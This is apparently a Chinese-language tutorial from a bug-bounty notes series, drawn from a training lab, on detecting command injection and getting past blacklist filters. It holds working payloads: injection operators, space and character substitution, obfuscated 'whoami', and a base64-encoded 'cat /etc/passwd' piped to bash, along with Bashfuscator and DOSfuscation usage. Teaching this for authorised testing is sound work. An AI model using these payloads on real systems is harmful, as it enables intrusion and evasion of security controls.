【Bug Bounty Hunter】第十章-命令注入

img

【Bug Bounty Hunter】笔记系列

0x00 命令注入利用过程

1. 漏洞检测

1.1 命令注入检测

下图展示了一个Web应用程序(Host Checker),当输入IP地址之后点击Check,会显示ping命令的输出。

img

想要检测命令注入漏洞,我们可以使用以下任何一个运算符:

注入操作 注入字符 URL编码字符 执行命令
分号 ; %3b 全部执行
换行 \n %0a 全部执行
后台运行 & %26 全部执行(第二个输出一般先显示)
管道 | %7c 全部执行(只显示第二个输出)
&& %26%26 全部执行(仅当第一种方法成功时)
|| %7c%7c 第二个执行(仅当第一次失败的时候)
子shell `` %60%60 全部执行(只有linux适配)
子shell $() %24%28%29 全部执行(只有linux适配)

注意:唯一的例外可能是分号;,如果命令是在Windows命令行(CMD)中执行,则不起作用,但如果在Windows PowerShell中执行,则仍然有效。

2. 命令注入

2.1 注入我们的命令

我们正常输入127.0.0.1,会显示Ping命令返回的结果。如果我们在127.0.0.1后加上一个分号,然后附加我们的命令(例如whoami),这样最终输入的内容为:127.0.0.1; whoami,要执行的最终命令将是:

1
d4rk30@linux$ ping -c 1 127.0.0.1; whoami

我们尝试在程序中输入我们的Payload:

img

正如图上所示,Web应用程序拒绝了我们的输入,因为它似乎只接受IP格式的输入。然而从错误消息的提示样式来看,这种格式校验处理应该来自于前端。

2.2 绕过前端验证

这样我们就可以通过手动构造请求,而绕过前端的限制。我们可以启动Burp Suite或ZAP,并配置Firefox通过它们代理流量,然后我们可以启用代理拦截功能。

现在我们可以自定义HTTP请求并发送,首先我们将使用与之前相同的输入127.0.0.1; whoami。然后对Payload进行URL编码,以确保它能按照我们的想法发送请求。我们可以选择有效载荷,然后点击CTRL + U。最后,我们可以点击Send来发送HTTP请求:

img

3. 其他注入操作

以下这些操作符可以用于各种注入类型,如SQL注入、LDAP注入、XSS、SSRF、XML等。我们已经创建了一个包含最常用操作符的列表,可用于注入攻击:

注入类型 操作符
SQL注入 ' , ; -- /* */
命令注入 ; &&
LADP注入 * ( ) & |
XPath注入 ' or and not substring concat count
系统命令注入 ; & |
代码注入 ' ; – /* */ $() ${} #{} %{} ^
目录遍历/文件路径遍历 ../ ..\\ %00
对象注入 ; & |
XQuery注入 ' ; – /* */
Shellcode注入 \x \u %u %n
Header注入 \n \r \n \t %0d %0a %09

这张表格实际上并不完整的,还有许多其他选项和运算符是可能被利用的。

0x01 过滤器绕过

1. 识别过滤器

1.1 过滤器/WAF检测

本节依然有同样的Host Checker应用程序,但现在它有一些缓解措施。我们可以看到,如果我们尝试之前测试过的操作符,比如;, &&, ||,我们会收到无效输入的错误消息:

img

让我们检查我们发送的有效载荷,除了我们知道没有被列入黑名单的IP地址之外,我们还发送了:

  • 一个分号字符
  • 一个空格字符
  • 一个whoami命令

因此,Web应用程序检测到黑名单字符或检测到黑名单命令,或两者都有。让我们看看如何绕过每个限制。

1.2 识别被列入黑名单的字符

我们可以每次只请求一个字符,看看什么时候会被阻止。

2. 绕过空格过滤器

2.1 绕过黑名单空格

空格是一个常见的被列入黑名单的字符,特别是如果输入不应该包含任何空格,比如IP地址。尽管如此,仍然有许多方法可以添加空格字符,而不实际使用空格字符!

2.2 使用制表符

使用制表符%09而不是空格是一种可能有效的技术,因为Linux和Windows都接受在参数之间使用制表符的命令,并且它们执行的方式相同。

2.3 使用$IFS

使用$IFS Linux环境变量也可以工作,因为它的默认值是一个空格和一个制表符,这在命令参数之间可以工作。因此,如果我们在应该有空格的地方使用${IFS},变量应该会自动替换为空格,我们的命令应该可以工作。

2.4 使用花括号扩展

我们可以利用许多其他方法来绕过空格过滤器。例如,我们可以使用Bash大括号扩展功能,它会自动在大括号包裹的参数之间添加空格,如下所示:

1
d4rk30@linux$ {ls,-la}

发现更多的空格过滤器绕过方法,请查看PayloadsAllTheThings页面上关于不使用空格编写命令的内容。

3. 绕过其他黑名单字符

除了注入运算符和空格字符外,斜杠/\字符也是非常常见的被列入黑名单的字符,因为在Linux或Windows中需要指定目录。我们可以利用几种技术来产生任何我们想要的字符,同时避免使用被列入黑名单的字符。

3.1 Linux

我们可以使用一种称为Linux环境变量的技术来替换斜杠(或任何其他字符),就像我们使用${IFS}一样。

例如,如果我们查看Linux中的$PATH环境变量,它可能看起来像以下内容:

1
2
3
d4rk30@linux$ echo ${PATH}

/usr/local/bin:/usr/bin:/bin:/usr/games

因此,如果我们从第0个字符开始,只取长度为1的字符串,我们最终只会得到斜杠字符/

1
2
3
d4rk30@linux$ echo ${PATH:0:1}

/

我们也可以使用$HOME$PWD环境变量来实现同样的效果。我们也可以使用相同的概念来获取分号字符,用作注入操作符。

3.2 Windows

相同的概念也适用于Windows。例如,在Windows命令行(CMD)中生成斜杠:

1
2
3
C:\windows> echo %HOMEPATH:~6,-11%

\

我们可以使用Windows PowerShell中的相同变量来实现相同的事情。在PowerShell中,一个单词被认为是一个数组,因此我们必须指定我们需要的字符的索引。

1
2
3
C:\windows> $env:HOMEPATH[0]

\

我们还可以使用Get-ChildItem Env:PowerShell命令来打印所有环境变量,然后选择其中一个来生成我们需要的字符。

3.3 字符转换

有其他的技巧可以在不使用它们的情况下生成所需的字符,比如字符移位。例如,下面的Linux命令将我们传递的字符向右移动1个位置。因此,我们只需要在ASCII表中找到我们所需字符的前一个字符(可以使用man ascii获取),然后将其添加到下面的示例中,而不是[。这样,最后打印的字符就是我们所需的字符:

1
2
3
4
d4rk30@linux$ man ascii     # \ is on 92, before it is [ on 91
d4rk30@linux$ echo $(tr '!-}' '"-~'<<<[)

\

使用PowerShell命令在Windows中实现相同的结果,尽管它们可能比Linux命令更长。

4. 绕过黑名单命令

我们已经了解绕过单字符过滤器的各种方法。然而,当涉及绕过黑名单命令时,有不同的方法。命令黑名单通常由一组单词组成,如果我们可以混淆我们的命令并使它们看起来不同,我们可能能够绕过过滤器。

4.1 Linux & Windows通用混淆技术

一种常见且简单的混淆技术是在Bash或PowerShell这样的命令行插入某些字符,这些字符通常会被忽略,常用一些字符是单引号'和双引号",还有一些其他字符。例如,如果我们想混淆whoami命令,我们可以在其字符之间插入单引号,如下所示:

1
2
3
d4rk30@linux$ w'h'o'am'i

d4rk30

同样适用于双引号:

1
2
3
d4rk30@linux$ w"h"o"am"i

d4rk30

4.2 仅限Linux的混淆

我们可以在命令中间插入一些仅适用于Linux的特殊字符,bash shell会忽略它们并执行命令。这些字符包括反斜杠\和位置参数字符$@

1
2
3
4
5
6
d4rk30@linux$ who$@ami

d4rk30
d4rk30@linux$ w\ho\am\i

d4rk30

4.3 仅限Windows的混淆

还有一些仅适用于Windows的字符,我们可以在命令中间插入,而不会影响结果,比如插入一个插入符^,就像我们在下面的例子中看到的那样:

1
2
3
C:\windows> who^ami

d4rk30

5. 高级命令混淆

5.1 大小写转换

在Windows中,PowerShell和CMD的命令是不区分大小写的,这意味着无论命令以何种大小写形式编写,它们都将执行该命令:

1
2
3
C:\windows> whOaMi

d4rk30

当涉及到Linux和bash shell时,它们是区分大小写的,我们必须有点创意,找到一个将命令转换为全小写单词的命令。我们可以使用的以下命令:

1
2
3
d4rk30@linux$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

d4rk30
1
2
3
d4rk30@linux$ $(a="WhOaMi";printf %s "${a,,}")

d4rk30

5.2 反转命令

另一种命令混淆技术是反转命令,在这种情况下,我们将编写imaohw而不是whoami,以避免触发被列入黑名单的命令。首先,我们需要在终端中获取我们命令的反转字符串,如下所示:

1
2
3
d4rk30@linux$ echo 'whoami' | rev

imaohw

然后,我们可以通过在子shell($())中将其反转来执行原始命令,如下所示:

1
2
3
d4rk30@linux$ $(rev<<<'imaohw')

d4rk30

同样的方法也可以应用在Windows上。我们可以先将字符串反转,如下所示:

1
2
3
C:\windows> "whoami"[-1..-20] -join ''

imaohw

现在我们可以使用以下命令在PowerShell子shell(iex "$()")中执行反转字符串,如下所示:

1
2
3
C:\windows> iex "$('imaohw'[-1..-20] -join '')"

d4rk30

5.3 编码命令

我们可以使用各种编码工具,例如base64(用于b64编码)或xxd(用于十六进制编码)。让我们以base64为例。首先,我们将对要执行的有效载荷进行编码:

1
2
3
d4rk30@linux$ echo -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

现在我们可以创建一个命令,在子shell中解码编码的字符串,然后将其传递给bash执行,如下所示:

1
2
3
d4rk30@linux$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

在Windows中也使用相同的技术。首先,我们需要将字符串进行base64编码,如下所示:

1
2
3
C:\windows> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

dwBoAG8AYQBtAGkA
1
2
3
C:\windows> iex "$('imaohw'[-1..-20] -join '')"

d4rk30

6. 使用工具生成绕过命令

本节我们提供一种使用工具生成绕过命令的方法。

6.1 Linux平台工具-Bashfuscator

我们可以利用 Bashfuscator 这个方便的工具来混淆 bash 命令。我们可以从 GitHub 克隆存储库,然后安装其要求,如下所示:

1
2
3
d4rk30@linux$ git clone https://github.com/Bashfuscator/Bashfuscator
d4rk30@linux$ cd Bashfuscator
d4rk30@linux$ python3 setup.py install --user

一旦我们设置好工具,我们可以从./bashfuscator/bin/目录开始使用它。我们可以使用许多标志来微调我们最终混淆的命令,正如我们在-h帮助菜单中看到的那样:

1
2
d4rk30@linux$ cd ./bashfuscator/bin/
d4rk30@linux$ ./bashfuscator -h

我们可以通过简单地使用-c标志来提供我们想要混淆的命令:

1
d4rk30@linux$ ./bashfuscator -c 'cat /etc/passwd'

以这种方式运行工具将随机选择一种混淆技术,其输出的命令长度可以从几百个字符到超过一百万个字符不等!因此,我们可以使用帮助菜单中的一些标志来生成更短、更简单的混淆命令,如下所示:

1
d4rk30@linux$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

我们现在可以使用bash -c ''来测试输出的命令,以查看它是否执行了预期的命令:

1
d4rk30@linux$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

6.2 Windows平台工具-DOSfuscation

还有一个非常类似的工具,我们可以用于Windows,叫做DOSfuscation。与Bashfuscator不同,这是一个交互式工具,我们只需运行一次并与其交互,即可获得所需的混淆命令。我们可以再次从GitHub克隆该工具,然后通过PowerShell调用它,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\windows> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\windows> cd Invoke-DOSfuscation
PS C:\windows> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\windows> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscation

一旦我们准备好了,就可以按照以下步骤开始使用这个工具:

1
2
3
4
5
6
7
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

最后,我们可以尝试在CMD上运行混淆命令,我们看到它确实按预期工作:

1
2
3
PS C:\windows> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag